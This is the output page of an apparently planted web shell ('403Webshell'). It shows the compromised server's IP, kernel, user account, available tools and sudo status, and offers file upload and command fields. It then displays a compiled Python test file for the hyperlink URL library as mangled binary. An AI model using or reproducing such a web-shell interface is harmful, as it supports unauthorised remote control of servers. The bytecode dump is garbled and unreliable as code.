403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/hyperlink/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/hyperlink/test/__pycache__/test_url.cpython-314.pyc
+
m4i?���p�^RIHt^RIt^RIt^RIHtHtHtHtH	t	H
t
^RIHt^RI
HtHt^RIHtHt]P&^,^8Ht]!R4tRtR	t.RNR
NRNRNRNRNRNRNRNRNRNRNRNRNRNRNRNRNRNRNR NR!NR"NR#NR$NR%NR&NR'NR(NR)NR*NR+NR,NR-NR.NR/NR0NR1NR2NR3NtR4t!R
R]4tR#)5�)�unicode_literalsN)�Any�Iterable�Optional�Text�Tuple�cast)�HyperlinkTestCase)�URL�
URLParseError)�	inet_pton�SCHEME_PORT_MAP��*http://www.foo.com/a/nice/path/?zot=23&zut�http://a/b/c/d;p?qc��a�]tRt^�toRtRtRORltRtRtRt	Rt
RtR	tR
t
RtRtR
tRtRtRtRtRtRtRtRtRtRtRtRtRtRtRtRt Rt!Rt"R t#R!t$R"t%R#t&R$t'R%t(R&t)R't*R(t+R)t,R*t-R+t.R,t/R-t0R.t1R/t2R0t3R1t4R2t5R3t6R4t7R5t8R6t9R7t:R8t;R9t<R:t=R;t>R<t?R=t@R>tAR?tBR@tCRAtDRBtERCtFRDtGREtHRFtIRGtJRHtKRItLRJtMRKtNRLtORMtPVtQRN#)P�TestURLz
Tests for L{URL}.
c���TP\VP\4;'gVPRJ\	V44TP\VP
\4;'gVP
RJ\	V44VPF,pVP\V4\\	V44K.	VPFcwr4VP\X4\\	V44TPVRJ;'g\V\4\	V44Ke	VP\VP4\\	V44R#)zT
The given L{URL}'s components should be L{unicode}.

@param u: The L{URL} to test.
N)�
assertTrue�
isinstance�scheme�unicode�repr�host�path�assertEqual�type�query�fragment)�self�u�seg�_k�vs&&   �9/usr/lib/python3/dist-packages/hyperlink/test/test_url.py�assertUnicoded�TestURL.assertUnicoded�s���	
����q�x�x��)�=�=�Q�X�X��-=�t�A�w�	
�	
���
�1�6�6�7�3�E�E�q�v�v��~�t�A�w�O��6�6�C����T�#�Y���a��9���w�w�G�R����T�#�Y���a��9��O�O�A��I�?�?��A�w�)?��a��I��	
����a�j�j�)�7�D��G�<�c	��VPVPVPVPVPVP
VP3p	VV\V4\V4VVVP3p
VPW�4R#)aZ
The given L{URL} should have the given components.

@param u: The actual L{URL} to examine.

@param scheme: The expected scheme.

@param host: The expected host.

@param path: The expected path.

@param query: The expected query.

@param fragment: The expected fragment.

@param port: The expected port.

@param userinfo: The expected userinfo.
N)	rrrrr�port�userinfo�tupler)r r!rrrrrr*r+�actual�expecteds&&&&&&&&&  r%�	assertURL�TestURL.assertURL�sw��@
�H�H�
�F�F�
�F�F�
�G�G�
�J�J�
�F�F�
�J�J�
��
���$�K��%�L���
�J�J�
��	
����*r(c	�a�V3RlpV!\RR44V!\RR..44V!\RR..R44R#)z0
L{URL} should have appropriate default values.
c
�Z<�SPV4SPVRR..R^PR4R#)�httprN)r&r/)r!r s&�r%�check�(TestURL.test_initDefaults.<locals>.check�s+�������"��N�N�1�f�b�"�b�"�b�"�=r(r3rN)r)r r4sf r%�test_initDefaults�TestURL.test_initDefaults�s@���	>�
	�c�&�"�o��
�c�&�"�b�"�%�&�
�c�&�"�b�"�b�)�*r(c	���\RRR.R
R.R4pVPV4VPVRRR.R
R.RR4VP\RRR.R.R	4RRR.R.R	^P4R#)
z-
L{URL} should accept L{unicode} parameters.
�s�h�pN�fr3�à�éu⊥��kr$)r@N)uλuπ�rr&r/�r r!s& r%�	test_init�TestURL.test_init�s���

��S�3�%�*�k�!:�C�@�����A�����q�#�s�S�E�J��+D�c�4�P���������+?�*@�(�K���
�H�
!�"���	
r(c	��\RRR.RR.R4pVPV4VPVRRR.RR.RR4R#)z>
L{URL} should accept (and not interpret) percent characters.
r9z%68z%70Nz%66)�%6Bz%76)rFNrArBs& r%�test_initPercent�TestURL.test_initPercent�sM��

��U�U�G�n�m�%D�e�L�����A�����
�s�E�E�7�^�]�$C�U�D�	
r(c�z�VP\\RRR.R
R.RR74R\R4:R	24R#)z�
L{URL.__repr__} will display the canonical form of the URL, wrapped in
a L{URL.from_text} invocation, so that it is C{eval}-able but still
easy to read.
r3�foo�barN�frob�rrrrrzURL.from_text(zhttp://foo/bar?baz&k=v#frob�))�bazNr?)rrr�r s&r%�	test_repr�TestURL.test_reprsF��	
�����!����(�*�5�#��
�$(�(E�#F�H�	
r(c��\P!\4pVP\VP	44R#)zK
Round-tripping L{URL.from_text} with C{str} results in an equivalent
URL.
N)r�	from_text�	BASIC_URLr�to_text�r �urlpaths& r%�test_from_text�TestURL.test_from_texts)���-�-�	�*������G�O�O�$5�6r(c��\F:p\P!V4PRR7pVP	W4K<	R#)z0
L{URL.to_text} should invert L{URL.from_text}.
T��
with_passwordN)�ROUNDTRIP_TESTSrrTrVr)r �test�results&  r%�test_roundtrip�TestURL.test_roundtrip%s8��
$�D��]�]�4�(�0�0�t�0�D�F����T�*�$r(c���\Fmp\P!V4pVP4pVP4pW48XgQhVP	RR7pVP	RR7pWV8XdKmQh	R#)Tr\N)r^rrT�to_irirV)r r_�url�iri�
double_iri�iri_text�double_iri_texts&      r%�test_roundtrip_double_iri�!TestURL.test_roundtrip_double_iri.sp��#�D��-�-��%�C��*�*�,�C�����J��$�$�$��{�{��{�6�H�(�0�0�t�0�D�O��.�.�.�$�	r(c���\P!\4pVPV\P!\44VP	V\P!R44R#)z�
Two URLs decoded using L{URL.from_text} will be equal (C{==}) if they
decoded same URL string, and unequal (C{!=}) if they decoded different
strings.
z:ftp://www.anotherinvaliddomain.com/foo/bar/baz/?zot=21&zutN)rrTrUr�assertNotEqualrWs& r%�
test_equality�TestURL.test_equality;sK���-�-�	�*������#�-�-�	�":�;������M�M�O�
�	
r(c���VP\RR7\44VP\P!R4\P!R44R#)zt
An URL created with the empty string for a fragment compares equal
to an URL created with an unspecified fragment.
r)rzhttp://localhost/#�http://localhost/N)rrrTrPs&r%�test_fragmentEquality�TestURL.test_fragmentEqualityKsC��	
����b�)�3�5�1�����M�M�.�/��M�M�-�.�	
r(c��\P!\4pVPRVP	R4P44VPRVP	R4P44VPRVP	R4P44VPRVP	R4P44R	#)
zU
L{URL.child} appends a new path segment, but does not affect the query
or fragment.
z.http://www.foo.com/a/nice/path/gong?zot=23&zut�gongz1http://www.foo.com/a/nice/path/gong%2F?zot=23&zutzgong/z7http://www.foo.com/a/nice/path/gong%2Fdouble?zot=23&zutzgong/doublez:http://www.foo.com/a/nice/path/gong%2Fdouble%2F?zot=23&zutzgong/double/N)rrTrUr�childrVrWs& r%�
test_child�TestURL.test_childWs����-�-�	�*�����<��M�M�&�!�)�)�+�	
�	
���?��M�M�'�"�*�*�,�	
�	
���E��M�M�-�(�0�0�2�	
�	
���H��M�M�.�)�1�1�3�	
r(c��\P!R4pVPVPRRR4P	4R4R#)zO
L{URL.child} receives multiple segments as C{*args} and appends each in
turn.
zhttp://example.com/a/b�c�d�ezhttp://example.com/a/b/c/d/eN)rrTrrvrV�r res& r%�test_multiChild�TestURL.test_multiChildos=���m�m�4�5������I�I�c�3��$�,�,�.�0N�	
r(c��\RR7PR4pVPVP4VP	RVP44R#)zW
L{URL.child} of a L{URL} without a path produces a L{URL} with a single
path segment.
�www.foo.com�rrzzhttp://www.foo.com/cN)rrvr�rootedrrV)r �childURLs& r%�test_childInitRoot�TestURL.test_childInitRootzsC���M�*�0�0��5��������(����/��1A�1A�1C�Dr(c�^�\RR7pVPVP4V4R#)zD
L{URL.child} without any new segments returns the original L{URL}.
r�r�N)rrrvr}s& r%�test_emptyChild�TestURL.test_emptyChild�s$��
�}�%���������c�*r(c�&�\P!\4pVPRVP	R4P44Rp\P!V4pVPRVP	R4P44R#)zg
L{URL.sibling} of a L{URL} replaces the last path segment, but does not
affect the query or fragment.
z0http://www.foo.com/a/nice/path/sister?zot=23&zut�sisterz)http://www.foo.com/a/nice/path?zot=23&zutz+http://www.foo.com/a/nice/sister?zot=23&zutN)rrTrUr�siblingrV)r rX�url_texts&  r%�test_sibling�TestURL.test_sibling�ss���-�-�	�*�����>��O�O�H�%�-�-�/�	
�
?���-�-��)�����9��O�O�H�%�-�-�/�	
r(c���\P!\4pVPRVP	R4P44VPRVP	R4P44VPRVP	R4P44VPRVP	R4P44VP
R	VP	R
4P494\P!R4pVPRVP	R
4P44\P!R4pVPVP	R4P4R4\P!R4pRpVPVP	R4P4V4VPVP	4P4V4\P!R4p\P!R4pVP	V4pVPVP4R4R#)z�
L{URL.click} interprets the given string as a relative URI-reference
and returns a new L{URL} interpreting C{self} as the base absolute URI.
rrz$http://www.foo.com/a/nice/path/click�clickzhttp://www.foo.com/clickz/clickz$http://www.foo.com/a/nice/path/?burpz?burpz//foobarzhttp://www.foo.com/foobarzhttp://www.foo.com/me/noqueryz!http://www.foo.com/me/17?spam=158z/me/17?spam=158zhttp://localhost/foo?abc=defzhttp://www.python.orgz$http://hatnote.com/a/b/../c/./d/e/..zhttp://hatnote.com/a/c/d/zhttp://localhost/foo/?abc=defrKzhttp://localhost/foo/barN)rrTrUrr�rVr�fromText)r rXr!�res�u2�u3s&     r%�
test_click�TestURL.test_click�s����-�-�	�*�����8��M�M�"��%�%�'�	
�
	
���2��M�M�'�"�*�*�,�	
�
	
���&��
�
�h�(?�(G�(G�(I�	
�	
���2��M�M�'�"�*�*�,�	
�	
�����=�=�!<�=�E�E�G�
H�	
�
�M�M�9�:�����/�
�G�G�%�&�.�.�0�	
�
�M�M�8�9�����
�G�G�+�,�4�4�6�8O�	
�

�M�M�@�A��)����������,�,�.��4�	
�������*�*�,�c�2�
�L�L�8�9��
�]�]�5�
!��
�W�W�R�[���������'A�Br(c��\P!\4p\F4wr#VP	VPV4P
4V4K6	R#)zA
L{URL.click} should correctly resolve the examples in RFC 3986.
N)rrT�relativeLinkBaseForRFC3986�relativeLinkTestsForRFC3986rr�rV)r �base�refr.s&   r%�test_clickRFC3986�TestURL.test_clickRFC3986�s@��
�}�}�7�8��:�O�S����T�Z�Z��_�4�4�6��A� ;r(c��\P!\4pVP\VP
R4VP\VP
R4R#)z=
L{URL.click} should not accept schemes with relative paths.
zg:hzhttp:hN)rrTr��assertRaises�NotImplementedErrorr�)r r�s& r%�test_clickSchemeRelPath�TestURL.test_clickSchemeRelPath�sA��
�}�}�7�8�����-�t�z�z�5�A����-�t�z�z�8�Dr(c
�6�\P!R4pVPVPVPVP
VPVPVPVP4V4VPVP4V4R#)zN
Verify that L{URL.replace} doesn't change any of the arguments it
is passed.
zhttps://x:1/y?z=1#AN)
rrTr�replacerrrrrr*rWs& r%�test_cloneUnchanged�TestURL.test_cloneUnchanged�sw���-�-� 5�6������O�O�����������
�
�� � ����

�
�
	
�	
������*�G�4r(c�4�.RO.RO.RO.RO.RO.R	O.R
O.RO.RO.R
O.RO.RO.RO.
pVFhwr#p\P!V4PV4P4pVP	VVRPV\
V4VVR74Kj	R#)zL
L{URL.click} collapses C{.} and C{..} according to RFC 3986 section
5.2.4.
z1{start}.click({click}) => {actual} not {expected})�startr�r-r.N)rq�.rq)rq�..rq)�http://localhost/a/b/cr�zhttp://localhost/a/b/)r�r�zhttp://localhost/a/)r�z./d/ezhttp://localhost/a/b/d/e)r��../d/e�http://localhost/a/d/e)r�z/./d/e�http://localhost/d/e)r�z/../d/er�)zhttp://localhost/a/b/c/z
../../d/e/zhttp://localhost/a/d/e/)zhttp://localhost/a/./cr�r�)zhttp://localhost/a/./c/r�r�)zhttp://localhost/a/b/c/dz
./e/../f/../gzhttp://localhost/a/b/c/g)r�zd//ezhttp://localhost/a/b/d//e)rrTr�rVr�formatr)r �testsr�r�r.r-s&     r%�test_clickCollapse�TestURL.test_clickCollapses���
<�<�D�C�K�J�H�I�
�

I�K�
�

L�+
��.',�"�E�(��]�]�5�)�/�/��6�>�>�@�F������C�J�J���u�+�!�%�	K��	
�',r(c�p�VPR\P!R4PRR4P	44VPR\RR7PRR4P	44\P!\
4pVPRVPR	4P	44VPR
VPR	R4P	44VPRVPR	R4PR
4P	44VPRVPR
4PR	R4P	44VPRVPR	R4PRR4P	44R#)z#
L{URL.add} adds query parameters.
z'http://www.foo.com/a/nice/path/?foo=barzhttp://www.foo.com/a/nice/path/rJrKzhttp://www.foo.com/?foo=barr�r�z/http://www.foo.com/a/nice/path/?zot=23&zut&burp�burpz3http://www.foo.com/a/nice/path/?zot=23&zut&burp=xxx�xxxz8http://www.foo.com/a/nice/path/?zot=23&zut&burp=xxx&zing�zingz8http://www.foo.com/a/nice/path/?zot=23&zut&zing&burp=xxxz:http://www.foo.com/a/nice/path/?zot=23&zut&burp=xxx&zot=32�zot�32N)rrrT�addrVrUrWs& r%�
test_queryAdd�TestURL.test_queryAdd-sg��
	
���5��M�M�;�<�
�S���
�
�W�Y�		
�	
���)��]�#�'�'��u�5�=�=�?�	
��-�-�	�*�����=��K�K���'�'�)�	
�	
���A��K�K���&�.�.�0�	
�	
���F��K�K���&�*�*�6�2�:�:�<�	
�
	
���F��K�K���#�#�F�E�2�:�:�<�	
�
	
���H��K�K���&�*�*�5�$�7�?�?�A�	
r(c��\P!\4pVPRVP	RR4P44VPRVP	R4P	RR4P44VPRVP
RR4P	RR4P44R#)	z/
L{URL.set} replaces query parameters by name.
z*http://www.foo.com/a/nice/path/?zot=32&zutr�r�z0http://www.foo.com/a/nice/path/?zot&zut=itworked�zut�itworkedr�N)rrTrUr�setrVr�rWs& r%�
test_querySet�TestURL.test_querySetTs���
�-�-�	�*�����8��K�K��t�$�,�,�.�	
�
	
���>��K�K���"�"�5�*�5�=�=�?�	
�	
���8��K�K��u�%�)�)�%��6�>�>�@�	
r(c���\P!R4pVPVPR4\P!R44VPVPRRR7\P!R44VPVPR^R7\P!R44VPVPRR^R7\P!R44R	#)
z7
L{URL.remove} removes instances of a query parameter.
z*https://example.com/a/b/?foo=1&bar=2&foo=3rJzhttps://example.com/a/b/?bar=2�1)�name�valuez$https://example.com/a/b/?bar=2&foo=3)r��limit)r�r�r�N)rrTr�remover}s& r%�test_queryRemove�TestURL.test_queryRemovejs���
�m�m�H�I������J�J�u��s�}�}�-M�N�	
�	
����J�J�E��J�-��M�M�@�A�	
�
	
����J�J�E��J�+��M�M�@�A�	
�
	
����J�J�E��A�J�6��M�M�F�G�	
r(c�J�\P!R4pVPVPR4R.4VPVP	4R4\P!R4pVPVP
R	4VPVP	4R4\P!R4pVP
4pVPVPR4R.4VPVP4PR4R.4R#)
zh
Every C{=}-sign after the first in a query parameter is simply included
in the value of the parameter.
zhttp://localhost/?=x=x=xr�x=x=xz!http://localhost/?foo=x=x=x&bar=yz7https://example.com/?argument=3&argument=4&operator=%3D�operator�=N))rJr�)rK�y)rrTr�getrVrrd�to_uri)r r!rfs&  r%�test_parseEqualSignInParamValue�'TestURL.test_parseEqualSignInParamValue�s���
�M�M�4�5��������r��W�I�.��������&@�A��M�M�=�>��������"B�C��������&I�J��M�M�E�
���h�h�j���������,�s�e�4��������)�)�*�5��u�=r(c�V�VP\4P4R4R#)z7
An empty L{URL} should serialize as the empty string.
rN)rrrVrPs&r%�
test_empty�TestURL.test_empty�s��
	
��������"�-r(c�`�\R.R7pVPVP4R4R#)z@
An L{URL} with query text should serialize as just query text.
�rz?hello=worldN��hello�world)rrrVrBs& r%�test_justQueryText�TestURL.test_justQueryText�s(��

�)�*�+���������n�5r(c�T�\P!R4pVPW4R#)z"
L{URL} compares equal to itself.
rqN�rrTrrBs& r%�test_identicalEqual�TestURL.test_identicalEqual�s!��

�M�M�-�.������r(c��\P!R4p\P!R4pVPW4R#)z7
URLs with equivalent components should compare equal.
�%http://u@localhost:8080/p/a/t/h?q=p#fNr��r �u1r�s&  r%�test_similarEqual�TestURL.test_similarEqual�s0��
�]�]�B�
C��
�]�]�B�
C������ r(c��\P!R4p\P!R4pVPW8HV:RV:24VPW4R#)zd
L{URL}s that refer to different resources are both unequal (C{!=}) and
also not equal (not C{==}).
�http://localhost/a�http://localhost/b� != N)rrT�assertFalsermr�s&  r%�test_differentNotEqual�TestURL.test_differentNotEqual�sG���]�]�/�
0��
�]�]�/�
0��������R�#8�9����B�#r(c���\P!R4pVPV^*8HR4VPV\48HR4VP	V^*4VP	V\44R#)z-
L{URL} is not equal (C{==}) to other types.
rqzURL must not equal a number.zURL must not equal an object.N)rrTr��objectrmrBs& r%�test_otherTypesNotEqual�TestURL.test_otherTypesNotEqual�sa��

�M�M�-�.������b��"@�A�����f�h��(G�H����A�r�"����A�v�x�(r(c�h�\P!R4pVPW8gRV,4R#)z:
Identical L{URL}s are not unequal (C{!=}) to each other.
r�z%r == itselfN�rrTr�rBs& r%�test_identicalNotUnequal� TestURL.test_identicalNotUnequal�s*��

�M�M�A�B��������!�!3�4r(c��\P!R4p\P!R4pVPW8gV:RV:24R#)zE
Structurally similar L{URL}s are not unequal (C{!=}) to each other.
r�� == Nr�r�s&  r%�test_similarNotUnequal�TestURL.test_similarNotUnequal�s9��
�]�]�B�
C��
�]�]�B�
C��������R�#8�9r(c��\P!R4p\P!R4pVPW8gV:RV:24R#)zC
Structurally different L{URL}s are unequal (C{!=}) to each other.
r�r�r�N)rrTrr�s&  r%�test_differentUnequal�TestURL.test_differentUnequal�s7��
�]�]�/�
0��
�]�]�/�
0��������B�"7�8r(c��\P!R4pVPV^*8gR4VPV\48gR4R#)z+
L{URL} is unequal (C{!=}) to other types.
rqzURL must differ from a number.z"URL must be differ from an object.N)rrTrr�rBs& r%�test_otherTypesUnequal�TestURL.test_otherTypesUnequal�s;��

�M�M�-�.������R��!A�B�����V�X�
�'K�Lr(c�j�Rp\P!V4pVP4pVPVPR4VPVP
^,R4VPVP
4V4RpVP
4pVPWTV:RV:24R#)zs
L{URL.asURI} produces an URI which converts any URI unicode encoding
into pure US-ASCII and returns a new L{URL}.
�http://é.com/é?á=í#úué.comué�.http://xn--9ca.com/%C3%A9?%C3%A1=%C3%AD#%C3%BAr�N)rrT�asURIrrrrV)r �unicodeyrf�uri�expectedURI�	actualURIs&     r%�
test_asURI�TestURL.test_asURI�s���
B�	��m�m�H�%���i�i�k��������#L�M�����H�H�Q�K�M�	
�	
��������1�F���K�K�M�	�����)�[�$I�	
r(c�j�Rp\P!V4pVP4pVPVPR4VPVP
^,R4VPVP
4V4RpVP
4pVPWTV:RV:24R#)z�
L{URL.asIRI} decodes any percent-encoded text in the URI, making it
more suitable for reading by humans, and returns a new L{URL}.
rzxn--9ca.comz%C3%A9uhttp://é.com/é?á=í#úr�N)rrT�asIRIrrrrV)r �asciiishrrf�expectedIRI�	actualIRIs&     r%�
test_asIRI�TestURL.test_asIRIs���D���m�m�H�%���i�i�k��������=�1�������!��h�/���������1�
3�	��K�K�M�	�����)�[�$I�	
r(c��Rp\P!V4pVP4pRpVP4pVP	WTV:RV:24R#)z�
Bad UTF-8 in a path segment, query parameter, or fragment results in
that portion of the URI remaining percent-encoded in the IRI.
z http://xn--9ca.com/%00%FF/%C3%A9uhttp://é.com/%00%FF/ér�N)rrTrrVr)r �
urlWithBinaryrrfrrs&     r%�test_badUTF8AsIRI�TestURL.test_badUTF8AsIRI#sQ��;�
��m�m�M�*���i�i�k��
2�	�
�K�K�M�	�����)�[�$I�	
r(c��Rp\P!V4pVP4pVPVP	4V4R#)zD
A L{URL} composed of non-ASCII text will result in non-ASCII text.
rN)rrTrrrV)r rrf�alsoIRIs&   r%�test_alreadyIRIAsIRI�TestURL.test_alreadyIRIAsIRI6s?��
B�	��m�m�H�%���)�)�+��������*�H�5r(c��Rp\P!V4pVP4P4pVP	W14R#)z8
A L{URL} composed of encoded text will remain encoded.
rN)rrTrrVr)r rrrs&   r%�test_alreadyURIAsURI�TestURL.test_alreadyURIAsURIFs:��
G���m�m�K�(���I�I�K�'�'�)�	�����0r(c���\P!R4pVPVPR4R4VPVPR4R4VPVPR4VPVP
R4VPVP
4R4VPVPRR	7P
4R
4R#)zc
L{URL.from_text} will parse the C{userinfo} portion of the URI
separately from the host and port.
z<http://someuser:somepassword@example.com/some-segment@ignoreTz!someuser:somepassword@example.comFzsomeuser:@example.comzsomeuser:somepassword�someuserz0http://someuser:@example.com/some-segment@ignore�r+z/http://someuser@example.com/some-segment@ignoreN)rrTr�	authorityr+�userrVr�r}s& r%�
test_userinfo�TestURL.test_userinfoPs����m�m�J�
��	
����M�M�$��!D�	
�	
������u�-�/F�G�������'>�?�������:�.�����K�K�M�M�	
�	
����K�K��K�,�4�4�6�=�	
r(c��\P!R4pVPVPR4VPVP	4R4R#)z:
L{URL.from_text} parses custom port numbers as integers.
zhttp://www.example.com:8080/i�N)rrTrr*rV)r �portURLs& r%�
test_portText�TestURL.test_portTextgs?��
�-�-� >�?��������t�,�������*�,J�Kr(c�n�VP\P!R4P4R4R#)z�
Although L{URL} instances are mainly for dealing with HTTP, other
schemes (such as C{mailto:}) should work as well.  For example,
L{URL.from_text}/L{URL.to_text} round-trips cleanly for a C{mailto:}
URL representing an email address.
zmailto:user@example.comN)rrrTrVrPs&r%�test_mailto�TestURL.test_mailtops+��	
����M�M�3�4�<�<�>�%�	
r(c��\P!R4pVPVPR4VPVPR4VPVP
R4VPVP
4R4R#)zR
An HTTP URL without a hostname, but with a path, should also round-trip
cleanly.
zhttp:relative-pathrFN)z
relative-path)rrTrrr�uses_netlocrV)r �without_hosts& r%�test_httpWithoutHost�TestURL.test_httpWithoutHost}sp���}�}�%9�:������*�*�B�/�����*�*�,>�?�����1�1�5�9�����-�-�/�1E�Fr(c��Rp\R.R7pVPVPV4\RR/R7pVPVPV4R#)z�
When a L{URL} is created with a C{query} argument, the C{query}
argument is converted into an N-tuple of 2-tuples, sensibly
handling dictionaries.
�alpha�betar�N�r1r2)r3)rrr)r r.res&  r%�test_queryIterable�TestURL.test_queryIterable�sN��(���*�+�,��������H�-���&�)�*��������H�-r(c�Z�\RR.R7pVPVPR4R#)zZ
When a L{URL} is created with a C{path} argument, the C{path} is
converted into a tuple.
r�r��rNr�)rrrr}s& r%�test_pathIterable�TestURL.test_pathIterable�s(�����)�*��������#5�6r(c
�>aaa�!RR\4o\\JdRMRpV3RloV3VVV3RllpV!R4V!R4V!R	4V!R
R4V!R4V!R
R4SP\4;_uu_4p\\
\S!44.R7RRR4S!XVR4SP\4;_uu_4p\R\
\S!443.R7RRR4S!W1R,R4SP\4;_uu_4p\\
\S!44R3.R7RRR4S!W1R4SP\4;_uu_4\\
\\\3,S!44.R7RRR4SP\4;_uu_4\\
\\\3,R4.R7RRR4SP\4;_uu_4\\
\\\3,R4.R7RRR4\
P!R4pSP\4;_uu_4pVP\
\S!444RRR4S!W1R4SP\4;_uu_4pVP\
\S!444RRR4S!W1R4SP\4;_uu_4pVP\
\S!444RRR4S!W1R4R# +'giEL�;i +'giEL�;i +'giELN;i +'giEL;i +'giEL�;i +'giEL�;i +'giEL:;i +'giL�;i +'giL�;i)al
Passing an argument of the wrong type to any of the constructor
arguments of L{URL} will raise a descriptive L{TypeError}.

L{URL} typechecks very aggressively to ensure that its constitutent
parts are all properly immutable and to prevent confusing errors when
bad data crops up in a method call long after the code that called the
constructor is off the stack.
c�,a�]tRtRtoRtRtRtVtR#)�1TestURL.test_invalidArguments.<locals>.Unexpectedi�c��R#)�wrong�rPs&r%�__str__�9TestURL.test_invalidArguments.<locals>.Unexpected.__str__�s��r(c��R#)�<unexpected>r?rPs&r%�__repr__�:TestURL.test_invalidArguments.<locals>.Unexpected.__repr__�s��%r(r?N)�__name__�
__module__�__qualname__�__firstlineno__r@rD�__static_attributes__�__classdictcell__��
__classdict__s@r%�
Unexpectedr<�s����
�
&�
&r(rNr�strc�r<�SP\VP4RPWR44R#)zexpected {0} for {1}, got {2}rCN)rrO�	exceptionr�)�raised�expectationr�r s&&&�r%�assertRaised�3TestURL.test_invalidArguments.<locals>.assertRaised�s2�������F�$�$�%�/�6�6��~��
r(c	�<�SP\4;_uu_4p\R/VS!4/BRRR4S!XW4R# +'giL;i)Nr?)r��	TypeErrorr)�paramrSrRrNrTr s&& ���r%r4�,TestURL.test_invalidArguments.<locals>.check�sB����"�"�9�-�-���,�u�j�l�+�,�.�
���4�.�-�s�A�A	rrrr��boolr+r*zint or NoneTyper7Nzpath segmentr�r�z or NoneTypezquery parameter valuer�zquery parameter namezhttps://valid.example.com/zrelative URL)r@r$�vv)r@)r��bytesrOr�rWrr	rr�
ValueErrorrTrvr�r�)r �defaultExpectationr4rRrerNrTsf    @@r%�test_invalidArguments�TestURL.test_invalidArguments�s����	&��	&�+0�3�,�Y�E��	�&8�	5�	5�	�h��
�f�
�
�j��
�h���
�j��
�f�'�(�
�
�
�y�
)�
)�V��d�4���.�/�0�*�	�V�/��@�
�
�
�y�
)�
)�V����T�:�<� 8�9�:�;�*�	���7�9P�	
��
�
�y�
)�
)�V���T�:�<�0�'�:�;�<�*�	�V�1G�H��
�
�y�
)�
)��t�E�$��*�-�z�|�<�=�>�*��
�
�z�
*�
*��t�E�$��*�-�/?�@�A�B�+��
�
�z�
*�
*��t�E�$��*�-�v�6�7�8�+��m�m�8�9��
�
�
�y�
)�
)�V��I�I�d�4���.�/�*��V��@�
�
�
�y�
)�
)�V��K�K��T�:�<�0�1�*��V��@�
�
�
�y�
)�
)�V��I�I�d�4���.�/�*��V��@�K*�
)�
)��
*�
)�
)��*�
)�
)��*�
)�
)��+�
*�
*��+�
*�
*��*�
)�
)��*�
)��*�
)�sl�!M-�#N�-#N�>2N)�-N=�'-O�%O%�"%O9�5%P�-M>	�N	�N&	�)N:	�=O	�O"	�%O6	�9P		�P	c�
�VP\4;_uu_4p\RR7RRR4VP\	XP
4RP
\R444R# +'giLO;i)z�
Technically, L{str} (or L{unicode}, as appropriate) is iterable, but
C{URL(path="foo")} resulting in C{URL.from_text("f/o/o")} is never what
you want.
rJr7Nz,expected iterable of text for path, not: {0})r�rWrrrOrQr�r)r rRs& r%�!test_technicallyTextIsIterableBut�)TestURL.test_technicallyTextIsIterableBut�sZ���
�
�y�
)�
)�V��U�O�*������ � �!�:�A�A�$�u�+�N�	
�*�
)�s�
A2�2B	c��\RR7pVPVPR4VPVP4R4VP\P!R4PR4VP\P!R4PR4VP\P!R4PR4\RRR7pVPVPR4VPVP4R4\RR7pVPVPR4VPVP4R	4\R
R7pVPVPR4VPVP4R4\RR7pVPVPR
4VPVP4R4\P!R4pVPVPR4\P!R4pVPVPR4R
#)�https�rTzhttps://zhttps:Fzhttps:/)rr,z	git+httpszgit+https://�mailtozmailto:�ztpNzztp:zztp://test.comzztp:test:com)rrr,rVrTr}s& r%�test_netloc�TestURL.test_netlocs�����!��������$�/��������
�3�������x�0�<�<�e�D�������y�1�=�=�u�E�������z�2�>�>��E���e�4��������%�0���������1���%��������$�/���������7���"��������%�0��������	�2�����������$�/���������/��m�m�,�-��������$�/��m�m�N�+��������%�0r(c���Rp\P!V4pVPR8XgQhVP^P8XgQh\VP
,VP8wgQhR#)z5https://[2001:0db8:85a3:0000:0000:8a2e:0370:7334]:80/z'2001:0db8:85a3:0000:0000:8a2e:0370:7334N)rrTrr*rr)r �tres&  r%�test_ipv6_with_port�TestURL.test_ipv6_with_port$sS��C���m�m�A����x�x�D�D�D�D��x�x�2�~��~��s�z�z�*�c�h�h�6�6�6r(c��Rp\P!V4pVPR8XgQhVPR8XgQhVPR8XgQhVP
R
8XgQhVPR8XgQhRp\P!V4pVPR8XgQhVPR8XgQhVPR8XgQhVP
R
8XgQhRp\P!V4pVPR8XgQhVPR8XgQhVPR8XgQhVP
R
8XgQhR	#)z3https://user:pass@example.com/path/to/here?k=v#nicere�	user:pass�example.com�nicez1https://user:pass@127.0.0.1/path/to/here?k=v#nicez	127.0.0.1z-https://user:pass@[::1]/path/to/here?k=v#nicez::1N)r�to�here)rrTrr+rrr�r �textres&  r%�
test_basic�TestURL.test_basic,s(��D���m�m�D�!���z�z�W�$�$�$��|�|�{�*�*�*��x�x�=�(�(�(��x�x�1�1�1�1��|�|�v�%�%�%�B���m�m�D�!���z�z�W�$�$�$��|�|�{�*�*�*��x�x�;�&�&�&��x�x�1�1�1�1�>���m�m�D�!���z�z�W�$�$�$��|�|�{�*�*�*��x�x�5� � � ��x�x�1�1�1�1r(c�P�VP\\PR4R#)z#

N�r�rrrTrPs&r%�test_invalid_url�TestURL.test_invalid_urlDs�����-�����@r(c�P�VP\\PR4R#)zhttp://abc:

/#NrzrPs&r%�test_invalid_authority_url�"TestURL.test_invalid_authority_urlHs�����-����8K�Lr(c���.ROpVFlpRV,R,pVP\P\\PV4VP\
\PV4Kn	R#)�2001::0234:C1ab::A0:aabc:003Fzhttp://[�]N)r�z2001::1::3F�:z::::z::256.0.0.1)r��socket�errorr
�AF_INET6rrrT)r �invalid_ipv6_ips�ipr�s&   r%�test_invalid_ipv6�TestURL.test_invalid_ipv6LsV��
��#�B�!�B���,�H����f�l�l�I�v����K����m�S�]�]�H�E�#r(c��VP\\PR4VP\\PR4R#)zftp://portmouth:smashz+http://reader.googlewebsite.com:neverforgetN)r�rrrTr]rPs&r%�test_invalid_port�TestURL.test_invalid_portZs4�����-����8O�P������M�M�9�	
r(c��\P!R4pVPVPR4VPVP	4R4VPVP4P	4R4\P!R4pVPVPR4VPVP	4R4VPVP
